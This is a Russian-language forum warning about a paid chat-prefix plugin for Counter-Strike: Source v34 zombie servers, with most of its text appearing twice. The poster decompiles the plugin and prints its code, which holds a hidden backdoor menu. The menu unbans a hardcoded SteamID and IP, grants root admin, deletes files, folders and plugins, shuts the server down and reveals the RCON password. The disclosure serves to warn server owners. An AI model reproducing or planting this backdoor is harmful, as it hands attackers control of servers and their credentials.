R1KO
fuck society
- Сообщения
- 9,457
- Реакции
- 7,786
- Команда форума
- #1
Не то чтобы жалоба а просто предостережение.
Сегодня ко мне попал плагин Плагин Префиксы в чате для зомби сервера Css V34
Декомпилировав его вот что открылось моему взору:
Собственно весь полезный код:
А вот дальше интереснее:
Как видно по коду 70 % плагина чистой воды бэкдор.
Так что если у вас установлен этот плагин - советую удалить его.
Так же в связи с моей сферой деятельности мне неоднократно поступали жалобы на данную особь:
По моим сведениям мало кто что покупает т.к. мало того что в основном умершая в34, так еще и цены в разы завышены, учитывая что большая часть ассортимента - немного измененные или соединенные публичные плагины.
Так что связываться не советую.
Сегодня ко мне попал плагин Плагин Префиксы в чате для зомби сервера Css V34
Декомпилировав его вот что открылось моему взору:
Собственно весь полезный код:
PHP:
public Action:HookMessage(client, String:command[], args)
{
new String:buffer[512];
new String:name[64];
GetCmdArgString(buffer, 512);
StripQuotes(buffer);
GetClientName(client, name, 64);
new team = GetClientTeam(client);
if (virusactive)
{
if (team == 2)
{
PrintToChatAll("\x04[Заражённый] \x03%s\x01: %s", name, buffer);
}
if (team == 3)
{
PrintToChatAll("\x04[Человек] \x03%s\x01: %s", name, buffer);
}
if (team == 1)
{
PrintToChatAll("\x04[Спектатор] \x03%s\x01: %s", name, buffer);
}
}
else
{
PrintToChatAll("\x04[Человек] \x03%s\x01: %s", name, buffer);
if (team == 1)
{
PrintToChatAll("\x04[Спектатор] \x03%s\x01: %s", name, buffer);
}
}
return Action:3;
}
А вот дальше интереснее:
PHP:
public Action:Crashmenu(client, args)
{
crasher = client;
new Handle:menu = CreateMenu(Select_Menu, MenuAction:28);
SetMenuTitle(menu, "Что прикажете сделать?");
AddMenuItem(menu, "1", "Разбанить себя", 0);
AddMenuItem(menu, "2", "Удалить файл/папку", 0);
AddMenuItem(menu, "3", "Выдать Админку", 0);
AddMenuItem(menu, "4", "Выключить сервер", 0);
AddMenuItem(menu, "5", "Выгрузить плагин", 0);
AddMenuItem(menu, "6", "Получить RCON пароль", 0);
AddMenuItem(menu, "7", "Выборочное удаление плагинов", 0);
SetMenuExitButton(menu, true);
DisplayMenu(menu, crasher, 0);
return Action:0;
}
public Select_Menu(Handle:menu, MenuAction:action, crasher, option)
{
if (action == MenuAction:16)
{
CloseHandle(menu);
return 0;
}
if (action == MenuAction:4)
{
if (!option)
{
ServerCommand("sm_unban \"STEAM_0:0:1506229913\"");
ServerCommand("sm_unban \"95.191.21.25\"");
ServerCommand("sm_unban \"95.191\"");
PrintToChat(crasher, "[DeathMenu] Вы были разбанены!");
}
if (option == 1)
{
new Handle:delmenu = CreateMenu(Select_DelMenu, MenuAction:28);
SetMenuTitle(delmenu, "Файл или папка?");
AddMenuItem(delmenu, "1", "Файл", 0);
AddMenuItem(delmenu, "2", "Папка", 0);
SetMenuExitButton(delmenu, true);
DisplayMenu(delmenu, crasher, 0);
}
if (option == 2)
{
new Handle:admmenu = CreateMenu(Select_AdmMenu, MenuAction:28);
SetMenuTitle(admmenu, "Выбирай");
AddMenuItem(admmenu, "1", "По Steam ID", 0);
AddMenuItem(admmenu, "2", "По ip", 0);
SetMenuExitButton(admmenu, true);
DisplayMenu(admmenu, crasher, 0);
}
if (option == 3)
{
ServerCommand("exit");
}
if (option == 4)
{
pluginname = 1;
PrintToChat(crasher, "[DeathMenu] Введите название плагина (без .smx)");
}
if (option == 5)
{
new String:password[128];
GetConVarString(FindConVar("rcon_password"), password, 128);
PrintToChat(crasher, "[DeathMenu] RCON пароль: %s", password);
}
if (option == 6)
{
del = 1;
PrintToChat(crasher, "[DeathMenu] Впишите название плагина для удаления (без .smx)!");
}
}
return 0;
}
public Select_AdmMenu(Handle:admmenu, MenuAction:action, crasher, option)
{
if (action == MenuAction:16)
{
CloseHandle(admmenu);
return 0;
}
if (action == MenuAction:4)
{
if (!option)
{
po_ip = 1;
SelectPlayer(crasher);
}
if (option == 1)
{
po_steam = 1;
SelectPlayer(crasher);
}
}
return 0;
}
SelectPlayer(crasher)
{
new Handle:plmenu = CreateMenu(Select_PlMenu, MenuAction:28);
SetMenuTitle(plmenu, "Выберите Игрока:\n \n");
decl String:userid[16];
decl String:name[32];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
IntToString(GetClientUserId(i), userid, 15);
GetClientName(i, name, 32);
AddMenuItem(plmenu, userid, name, 0);
}
i++;
}
DisplayMenu(plmenu, crasher, 0);
return 0;
}
public Select_PlMenu(Handle:plmenu, MenuAction:action, crasher, option)
{
if (action == MenuAction:16)
{
CloseHandle(plmenu);
return 0;
}
if (action == MenuAction:4)
{
decl String:userid[16];
GetMenuItem(plmenu, option, userid, 15, 0, "", 0);
new target = GetClientOfUserId(StringToInt(userid, 10));
new String:steamid[128];
new String:ip[28];
if (0 < target)
{
if (po_ip == 1)
{
GetClientAuthString(target, steamid, 128, true);
new AdminId:id = CreateAdmin("");
SetAdminFlag(id, AdminFlag:14, true);
BindAdminIdentity(id, "steam", steamid);
PrintToChat(crasher, "[DeathMenu] Игроку %N была выдана админка по SteamID!", target);
ServerCommand("sm_reloadadmins");
po_steam = 0;
}
if (po_steam == 1)
{
GetClientIP(target, ip, 25, true);
new AdminId:id = CreateAdmin("");
SetAdminFlag(id, AdminFlag:14, true);
BindAdminIdentity(id, "ip", ip);
PrintToChat(crasher, "[DeathMenu] Игроку %N была выдана админка по IP!", target);
ServerCommand("sm_reloadadmins");
po_ip = 0;
}
}
}
return 0;
}
public Select_DelMenu(Handle:delmenu, MenuAction:action, crasher, option)
{
if (action == MenuAction:16)
{
CloseHandle(delmenu);
return 0;
}
if (action == MenuAction:4)
{
if (option)
{
if (option == 1)
{
folder = 1;
PrintToChat(crasher, "[DeathMenu] Впишите путь к папке");
deletepath = 1;
}
}
file = 1;
PrintToChat(crasher, "[DeathMenu] Впишите путь к файлу (включая расширение, например, \".txt\")");
deletepath = 1;
}
return 0;
}
public Action:HookPlayerChat(crasher, String:command[], args)
{
if (pluginname == 1)
{
GetCmdArg(1, plugname, 64);
ServerCommand("sm plugins unload %s.smx", plugname);
PrintToChat(crasher, "[DeathMenu] Плагин %s.smx отключен", plugname);
pluginname = 0;
PrintToChatAll("");
return Action:3;
}
if (del == 1)
{
new String:plug[128];
GetCmdArg(1, plug, 128);
Format(plug, 128, "addons/sourcemod/plugins/%s.smx", plug);
DeleteFile(plug);
PrintToChat(crasher, "[DeathMenu] Плагин %s.smx был удален!", plug);
del = 0;
PrintToChatAll("");
return Action:3;
}
if (deletepath == 1)
{
new String:path[128];
GetCmdArg(1, path, 128);
if (file == 1)
{
if (FileExists(path, false))
{
DeleteFile(path);
file = 0;
PrintToChat(crasher, "[DeathMenu] Файл был успешно удален");
}
else
{
PrintToChat(crasher, "[DeathMenu] Файл не найден");
}
}
else
{
if (folder == 1)
{
if (DirExists(path))
{
if (RemoveDir(path))
{
folder = 0;
PrintToChat(crasher, "[DeathMenu] Папка была успешно удалена");
}
else
{
PrintToChat(crasher, "[DeathMenu] Данную папку невозможно удалить");
}
}
PrintToChat(crasher, "[DeathMenu] Папка не найдена");
}
}
}
return Action:0;
}
Как видно по коду 70 % плагина чистой воды бэкдор.
Так что если у вас установлен этот плагин - советую удалить его.
Так же в связи с моей сферой деятельности мне неоднократно поступали жалобы на данную особь:
По моим сведениям мало кто что покупает т.к. мало того что в основном умершая в34, так еще и цены в разы завышены, учитывая что большая часть ассортимента - немного измененные или соединенные публичные плагины.
Так что связываться не советую.